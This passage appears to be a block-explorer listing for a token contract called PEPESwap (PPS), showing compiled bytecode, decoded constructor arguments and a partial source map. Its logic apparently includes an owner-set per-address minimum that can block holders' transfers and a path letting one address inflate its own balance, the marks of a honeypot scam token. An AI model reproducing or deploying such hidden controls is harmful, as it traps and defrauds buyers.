b60405161031391906116e1565b60405180910390f35b6103366004803603810190610331919061130c565b6109a5565b60405161034391906116e1565b60405180910390f35b6103666004803603810190610361919061130c565b6109ee565b005b610370610ae6565b60405161037d91906116e1565b60405180910390f35b60606005805461039590611876565b80601f01602080910402602001604051908101604052809291908181526020018280546103c190611876565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b600061042c610425610b01565b8484610b09565b6001905092915050565b6000600854905090565b600061044d848484610cd4565b61050e84610459610b01565b61050985604051806060016040528060288152602001611bc760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bf610b01565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111989092919063ffffffff16565b610b09565b600190509392505050565b610521610b01565b73ffffffffffffffffffffffffffffffffffffffff1661053f610778565b73ffffffffffffffffffffffffffffffffffffffff1614610595576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058c90611681565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600760009054906101000a900460ff16905090565b600061069d610601610b01565b846106988560046000610612610b01565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb90919063ffffffff16565b610b09565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106f8610b01565b73ffffffffffffffffffffffffffffffffffffffff16610716610778565b73ffffffffffffffffffffffffffffffffffffffff161461076c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076390611681565b60405180910390fd5b61077660006111ed565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107b090611876565b80601f01602080910402602001604051908101604052809291908181526020018280546107dc90611876565b80156108295780601f106107fe57610100808354040283529160200191610829565b820191906000526020600020905b81548152906001019060200180831161080c57829003601f168201915b5050505050905090565b60006108f6610840610b01565b846108f185604051806060016040528060258152602001611bef602591396004600061086a610b01565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111989092919063ffffffff16565b610b09565b6001905092915050565b600061091461090d610b01565b8484610cd4565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109f6610b01565b73ffffffffffffffffffffffffffffffffffffffff16610a14610778565b73ffffffffffffffffffffffffffffffffffffffff1614610a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6190611681565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190611621565b60405180910390fd5b610ae3816111ed565b50565b600181565b60008183610af99190611733565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b70906116c1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090611641565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cc791906116e1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3b906116a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab906115e1565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90611601565b60405180910390fd5b610e418383836112b1565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610ece57508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610f8057610f3882610f2a6001600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b690919063ffffffff16565b610aeb90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061112d565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990611661565b60405180910390fd5b61105482600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112cc90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e982600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161118a91906116e1565b60405180910390a350505050565b60008383111582906111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d791906115bf565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081836112c49190611789565b905092915050565b600081836112da91906117ba565b905092915050565b6000813590506112f181611b98565b92915050565b60008135905061130681611baf565b92915050565b60006020828403121561131e57600080fd5b600061132c848285016112e2565b91505092915050565b6000806040838503121561134857600080fd5b6000611356858286016112e2565b9250506020611367858286016112e2565b9150509250929050565b60008060006060848603121561138657600080fd5b6000611394868287016112e2565b93505060206113a5868287016112e2565b92505060406113b6868287016112f7565b9150509250925092565b600080604083850312156113d357600080fd5b60006113e1858286016112e2565b92505060206113f2858286016112f7565b9150509250929050565b611405816117ee565b82525050565b61141481611800565b82525050565b600061142582611717565b61142f8185611722565b935061143f818560208601611843565b61144881611935565b840191505092915050565b6000611460602383611722565b915061146b82611946565b604082019050919050565b6000611483603683611722565b915061148e82611995565b604082019050919050565b60006114a6602683611722565b91506114b1826119e4565b604082019050919050565b60006114c9602283611722565b91506114d482611a33565b604082019050919050565b60006114ec602683611722565b91506114f782611a82565b604082019050919050565b600061150f602083611722565b915061151a82611ad1565b602082019050919050565b6000611532602583611722565b915061153d82611afa565b604082019050919050565b6000611555602483611722565b915061156082611b49565b604082019050919050565b6115748161182c565b82525050565b61158381611836565b82525050565b600060208201905061159e60008301846113fc565b92915050565b60006020820190506115b9600083018461140b565b92915050565b600060208201905081810360008301526115d9818461141a565b905092915050565b600060208201905081810360008301526115fa81611453565b9050919050565b6000602082019050818103600083015261161a81611476565b9050919050565b6000602082019050818103600083015261163a81611499565b9050919050565b6000602082019050818103600083015261165a816114bc565b9050919050565b6000602082019050818103600083015261167a816114df565b9050919050565b6000602082019050818103600083015261169a81611502565b9050919050565b600060208201905081810360008301526116ba81611525565b9050919050565b600060208201905081810360008301526116da81611548565b9050919050565b60006020820190506116f6600083018461156b565b92915050565b6000602082019050611711600083018461157a565b92915050565b600081519050919050565b600082825260208201905092915050565b600061173e8261182c565b91506117498361182c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561177e5761177d6118a8565b5b828201905092915050565b60006117948261182c565b915061179f8361182c565b9250826117af576117ae6118d7565b5b828204905092915050565b60006117c58261182c565b91506117d08361182c565b9250828210156117e3576117e26118a8565b5b828203905092915050565b60006117f98261180c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611861578082015181840152602081019050611846565b83811115611870576000848401525b50505050565b6000600282049050600182168061188e57607f821691505b602082108114156118a2576118a1611906565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008201527f68616e20746865206d696e696d756d20616d6f756e7400000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611ba1816117ee565b8114611bac57600080fd5b50565b611bb88161182c565b8114611bc357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c523c20c8a849e5d71ef367014f80488aec09f30c0cac27e8190c78012a492b864736f6c63430008040033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000004563918244f400000000000000000000000000000000000000000000000000000000000000000008504550455377617000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035050530000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): PEPESwap
Arg [1] : symbol_ (string): PPS
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 5000000000000000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000004563918244f40000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 5045504553776170000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 5050530000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
5172:6005:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6035:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7072:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6336:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7290:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8468:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6237:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7752:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6452:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1641:94;;;:::i;:::-;;1418:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6134:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8060:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6637:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6861:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8580:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1743:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5294:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6035:91;6080:13;6113:5;6106:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6035:91;:::o;7072:210::-;7191:4;7213:39;7222:12;:10;:12::i;:::-;7236:7;7245:6;7213:8;:39::i;:::-;7270:4;7263:11;;7072:210;;;;:::o;6336:108::-;6397:7;6424:12;;6417:19;;6336:108;:::o;7290:454::-;7430:4;7447:36;7457:6;7465:9;7476:6;7447:9;:36::i;:::-;7494:220;7517:6;7538:12;:10;:12::i;:::-;7565:138;7621:6;7565:138;;;;;;;;;;;;;;;;;:11;:19;7577:6;7565:19;;;;;;;;;;;;;;;:33;7585:12;:10;:12::i;:::-;7565:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7494:8;:220::i;:::-;7732:4;7725:11;;7290:454;;;;;:::o;8468:104::-;1564:12;:10;:12::i;:::-;1553:23;;:7;:5;:7::i;:::-;:23;;;1545:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8558:6:::1;8543;:12;8550:4;8543:12;;;;;;;;;;;;;;;:21;;;;8468:104:::0;;:::o;6237:91::-;6286:5;6311:9;;;;;;;;;;;6304:16;;6237:91;:::o;7752:300::-;7867:4;7889:133;7912:12;:10;:12::i;:::-;7939:7;7961:50;8000:10;7961:11;:25;7973:12;:10;:12::i;:::-;7961:25;;;;;;;;;;;;;;;:34;7987:7;7961:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7889:8;:133::i;:::-;8040:4;8033:11;;7752:300;;;;:::o;6452:177::-;6571:7;6603:9;:18;6613:7;6603:18;;;;;;;;;;;;;;;;6596:25;;6452:177;;;:::o;1641:94::-;1564:12;:10;:12::i;:::-;1553:23;;:7;:5;:7::i;:::-;:23;;;1545:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1706:21:::1;1724:1;1706:9;:21::i;:::-;1641:94::o:0;1418:87::-;1464:7;1491:6;;;;;;;;;;;1484:13;;1418:87;:::o;6134:95::-;6181:13;6214:7;6207:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6134:95;:::o;8060:400::-;8180:4;8202:228;8225:12;:10;:12::i;:::-;8252:7;8274:145;8331:15;8274:145;;;;;;;;;;;;;;;;;:11;:25;8286:12;:10;:12::i;:::-;8274:25;;;;;;;;;;;;;;;:34;8300:7;8274:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;8202:8;:228::i;:::-;8448:4;8441:11;;8060:400;;;;:::o;6637:216::-;6759:4;6781:42;6791:12;:10;:12::i;:::-;6805:9;6816:6;6781:9;:42::i;:::-;6841:4;6834:11;;6637:216;;;;:::o;6861:201::-;6995:7;7027:11;:18;7039:5;7027:18;;;;;;;;;;;;;;;:27;7046:7;7027:27;;;;;;;;;;;;;;;;7020:34;;6861:201;;;;:::o;8580:99::-;8632:7;8659:6;:12;8666:4;8659:12;;;;;;;;;;;;;;;;8652:19;;8580:99;;;:::o;1743:192::-;1564:12;:10;:12::i;:::-;1553:23;;:7;:5;:7::i;:::-;:23;;;1545:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1852:1:::1;1832:22;;:8;:22;;;;1824:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1908:19;1918:8;1908:9;:19::i;:::-;1743:192:::0;:::o;5294:35::-;5328:1;5294:35;:::o;3498:98::-;3556:7;3587:1;3583;:5;;;;:::i;:::-;3576:12;;3498:98;;;;:::o;973:::-;1026:7;1053:10;1046:17;;973:98;:::o;10555:380::-;10708:1;10691:19;;:5;:19;;;;10683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10789:1;10770:21;;:7;:21;;;;10762:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10873:6;10843:11;:18;10855:5;10843:18;;;;;;;;;;;;;;;:27;10862:7;10843:27;;;;;;;;;;;;;;;:36;;;;10911:7;10895:32;;10904:5;10895:32;;;10920:6;10895:32;;;;;;:::i;:::-;;;;;;;;10555:380;;;:::o;8687:1011::-;8845:1;8827:20;;:6;:20;;;;8819:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8929:1;8908:23;;:9;:23;;;;8900:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9086:6;:14;9093:6;9086:14;;;;;;;;;;;;;;;;9076:6;:24;;9068:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;9172:47;9193:6;9201:9;9212:6;9172:20;:47::i;:::-;9230:14;9247:6;;;;;;;;;;;9230:23;;9279:6;9269:16;;:6;:16;;;:39;;;;;9302:6;9289:19;;:9;:19;;;9269:39;9265:373;;;9345:36;9374:6;9345:24;9367:1;9345:9;:17;9355:6;9345:17;;;;;;;;;;;;;;;;:21;;:24;;;;:::i;:::-;:28;;:36;;;;:::i;:::-;9325:9;:17;9335:6;9325:17;;;;;;;;;;;;;;;:56;;;;9265:373;;;9443:6;9422:9;:17;9432:6;9422:17;;;;;;;;;;;;;;;;:27;;9414:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;9527:29;9549:6;9527:9;:17;9537:6;9527:17;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;9507:9;:17;9517:6;9507:17;;;;;;;;;;;;;;;:49;;;;9594:32;9619:6;9594:9;:20;9604:9;9594:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9571:9;:20;9581:9;9571:20;;;;;;;;;;;;;;;:55;;;;9265:373;9672:9;9655:35;;9664:6;9655:35;;;9683:6;9655:35;;;;;;:::i;:::-;;;;;;;;8687:1011;;;;:::o;4028:240::-;4148:7;4206:1;4201;:6;;4209:12;4193:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4248:1;4244;:5;4237:12;;4028:240;;;;;:::o;1943:173::-;1999:16;2018:6;;;;;;;;;;;1999:25;;2044:8;2035:6;;:17;;;;;;;;;;;;;;;;;;2099:8;2068:40;;2089:8;2068:40;;;;;;;;;;;;1943:173;;:::o;11049:125::-;;;;:::o;3816:98::-;3874:7;3905:1;3901;:5;;;;:::i;:::-;3894:12;;3816:98;;;;:::o;3604:::-;3662:7;3693:1;3689;:5;;;;:::i;:::-;3682:12;;3604:98;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;356:6;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;633:6;641;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;1055:6;1063;1071;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;1604:6;1612;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:118::-;2036:24;2054:5;2036:24;:::i;:::-;2031:3;2024:37;2014:53;;:::o;2073:109::-;2154:21;2169:5;2154:21;:::i;:::-;2149:3;2142:34;2132:50;;:::o;2188:364::-;2276:3;2304:39;2337:5;2304:39;:::i;:::-;2359:71;2423:6;2418:3;2359:71;:::i;:::-;2352:78;;2439:52;2484:6;2479:3;2472:4;2465:5;2461:16;2439:52;:::i;:::-;2516:29;2538:6;2516:29;:::i;:::-;2511:3;2507:39;2500:46;;2280:272;;;;;:::o;2558:366::-;2700:3;2721:67;2785:2;2780:3;2721:67;:::i;:::-;2714:74;;2797:93;2886:3;2797:93;:::i;:::-;2915:2;2910:3;2906:12;2899:19;;2704:220;;;:::o;2930:366::-;3072:3;3093:67;3157:2;3152:3;3093:67;:::i;:::-;3086:74;;3169:93;3258:3;3169:93;:::i;:::-;3287:2;3282:3;3278:12;3271:19;;3076:220;;;:::o;3302:366::-;3444:3;3465:67;3529:2;3524:3;3465:67;:::i;:::-;3458:74;;3541:93;3630:3;3541:93;:::i;:::-;3659:2;3654:3;3650:12;3643:19;;3448:220;;;:::o;3674:366::-;3816:3;3837:67;3901:2;3896:3;3837:67;:::i;:::-;3830:74;;3913:93;4002:3;3913:93;:::i;:::-;4031:2;4026:3;4022:12;4015:19;;3820:220;;;:::o;4046:366::-;4188:3;4209:67;4273:2;4268:3;4209:67;:::i;:::-;4202:74;;4285:93;4374:3;4285:93;:::i;:::-;4403:2;4398:3;4394:12;4387:19;;4192:220;;;:::o;4418:366::-;4560:3;4581:67;4645:2;4640:3;4581:67;:::i;:::-;4574:74;;4657:93;4746:3;4657:93;:::i;:::-;4775:2;4770:3;4766:12;4759:19;;4564:220;;;:::o;4790:366::-;4932:3;4953:67;5017:2;5012:3;4953:67;:::i;:::-;4946:74;;5029:93;5118:3;5029:93;:::i;:::-;5147:2;5142:3;5138:12;5131:19;;4936:220;;;:::o;5162:366::-;5304:3;5325:67;5389:2;5384:3;5325:67;:::i;:::-;5318:74;;5401:93;5490:3;5401:93;:::i;:::-;5519:2;5514:3;5510:12;5503:19;;5308:220;;;:::o;5534:118::-;5621:24;5639:5;5621:24;:::i;:::-;5616:3;5609:37;5599:53;;:::o;5658:112::-;5741:22;5757:5;5741:22;:::i;:::-;5736:3;5729:35;5719:51;;:::o;5776:222::-;5869:4;5907:2;5896:9;5892:18;5884:26;;5920:71;5988:1;5977:9;5973:17;5964:6;5920:71;:::i;:::-;5874:124;;;;:::o;6004:210::-;6091:4;6129:2;6118:9;6114:18;6106:26;;6142:65;6204:1;6193:9;6189:17;6180:6;6142:65;:::i;:::-;6096:118;;;;:::o;6220:313::-;6333:4;6371:2;6360:9;6356:18;6348:26;;6420:9;6414:4;6410:20;6406:1;6395:9;6391:17;6384:47;6448:78;6521:4;6512:6;6448:78;:::i;:::-;6440:86;;6338:195;;;;:::o;6539:419::-;6705:4;6743:2;6732:9;6728:18;6720:26;;6792:9;6786:4;6782:20;6778:1;6767:9;6763:17;6756:47;6820:131;6946:4;6820:131;:::i;:::-;6812:139;;6710:248;;;:::o;6964:419::-;7130:4;7168:2;7157:9;7153:18;7145:26;;7217:9;7211:4;7207:20;7203:1;7192:9;7188:17;7181:47;7245:131;7371:4;7245:131;:::i;:::-;7237:139;;7135:248;;;:::o;7389:419::-;7555:4;7593:2;7582:9;7578:18;7570:26;;7642:9;7636:4;7632:20;7628:1;7617:9;7613:17;7606:47;7670:131;7796:4;7670:131;:::i;:::-;7662:139;;7560:248;;;:::o;7814:419::-;7980:4;8018:2;8007:9;8003:18;7995:26;;8067:9;8061:4;8057:20;8053:1;8042:9;8038:17;8031:47;8095:131;8221:4;8095:131;:::i;:::-;8087:139;;7985:248;;;:::o;8239:419::-;8405:4;8443:2;8432:9;8428:18;8420:26;;8492:9;8486:4;8482:20;8478:1;8467:9;8463:17;8456:47;8520:131;8646:4;8520:131;:::i;:::-;8512:139;;8410:248;;;:::o;8664:419::-;8830:4;8868:2;8857:9;8853:18;8845:26;;8917:9;8911:4;8907:20;8903:1;8892:9;8888:17;8881:47;8945:131;9071:4;8945:131;:::i;:::-;8937:139;;8835:248;;;:::o;9089:419::-;9255:4;9293:2;9282:9;9278:18;9270:26;;9342:9;9336:4;9332:20;9328:1;9317:9;9313:17;9306:47;9370:131;9496:4;9370:131;:::i;:::-;9362:139;;9260:248;;;:::o;9514:419::-;9680:4;9718:2;9707:9;9703:18;9695:26;;9767:9;9761:4;9757:20;9753:1;9742:9;9738:17;9731:47;9795:131;9921:4;9795:131;:::i;:::-;9787:139;;9685:248;;;:::o;9939:222::-;10032:4;10070:2;10059:9;10055:18;10047:26;;10083:71;10151:1;10140:9;10136:17;10127:6;10083:71;:::i;:::-;10037:124;;;;:::o;10167:214::-;10256:4;10294:2;10283:9;10279:18;10271:26;;10307:67;10371:1;10360:9;10356:17;10347:6;10307:67;:::i;:::-;10261:120;;;;:::o;10387:99::-;10439:6;10473:5;10467:12;10457:22;;10446:40;;;:::o;10492:169::-;10576:11;10610:6;10605:3;10598:19;10650:4;10645:3;10641:14;10626:29;;10588:73;;;;:::o;10667:305::-;10707:3;10726:20;10744:1;10726:20;:::i;:::-;10721:25;;10760:20;10778:1;10760:20;:::i;:::-;10755:25;;10914:1;10846:66;10842:74;10839:1;10836:81;10833:2;;;10920:18;;:::i;:::-;10833:2;10964:1;10961;10957:9;10950:16;;10711:261;;;;:::o;10978:185::-;11018:1;11035:20;11053:1;11035:20;:::i;:::-;11030:25;;11069:20;11087:1;11069:20;:::i;:::-;11064:25;;11108:1;11098:2;;11113:18;;:::i;:::-;11098:2;11155:1;11152;11148:9;11143:14;;11020:143;;;;:::o;11169:191::-;11209:4;11229:20;11247:1;11229:20;:::i;:::-;11224:25;;11263:20;11281:1;11263:20;:::i;:::-;11258:25;;11302:1;11299;11296:8;11293:2;;;11307:18;;:::i;:::-;11293:2;11352:1;11349;11345:9;11337:17;;11214:146;;;;:::o;11366:96::-;11403:7;11432:24;11450:5;11432:24;:::i;:::-;11421:35;;11411:51;;;:::o;11468:90::-;11502:7;11545:5;11538:13;11531:21;11520:32;;11510:48;;;:::o;11564:126::-;11601:7;11641:42;11634:5;11630:54;11619:65;;11609:81;;;:::o;11696:77::-;11733:7;11762:5;11751:16;;11741:32;;;:::o;11779:86::-;11814:7;11854:4;11847:5;11843:16;11832:27;;11822:43;;;:::o;11871:307::-;11939:1;11949:113;11963:6;11960:1;11957:13;11949:113;;;12048:1;12043:3;12039:11;12033:18;12029:1;12024:3;12020:11;12013:39;11985:2;11982:1;11978:10;11973:15;;11949:113;;;12080:6;12077:1;12074:13;12071:2;;;12160:1;12151:6;12146:3;12142:16;12135:27;12071:2;11920:258;;;;:::o;12184:320::-;12228:6;12265:1;12259:4;12255:12;12245:22;;12312:1;12306:4;12302:12;12333:18;12323:2;;12389:4;12381:6;12377:17;12367:27;;12323:2;12451;12443:6;12440:14;12420:18;12417:38;12414:2;;;12470:18;;:::i;:::-;12414:2;12235:269;;;;:::o;12510:180::-;12558:77;12555:1;12548:88;12655:4;12652:1;12645:15;12679:4;12676:1;12669:15;12696:180;12744:77;12741:1;12734:88;12841:4;12838:1;12831:15;12865:4;12862:1;12855:15;12882:180;12930:77;12927:1;12920:88;13027:4;13024:1;13017:15;13051:4;13048:1;13041:15;13068:102;13109:6;13160:2;13156:7;13151:2;13144:5;13140:14;13136:28;13126:38;;13116:54;;;:::o;13176:222::-;13316:34;13312:1;13304:6;13300:14;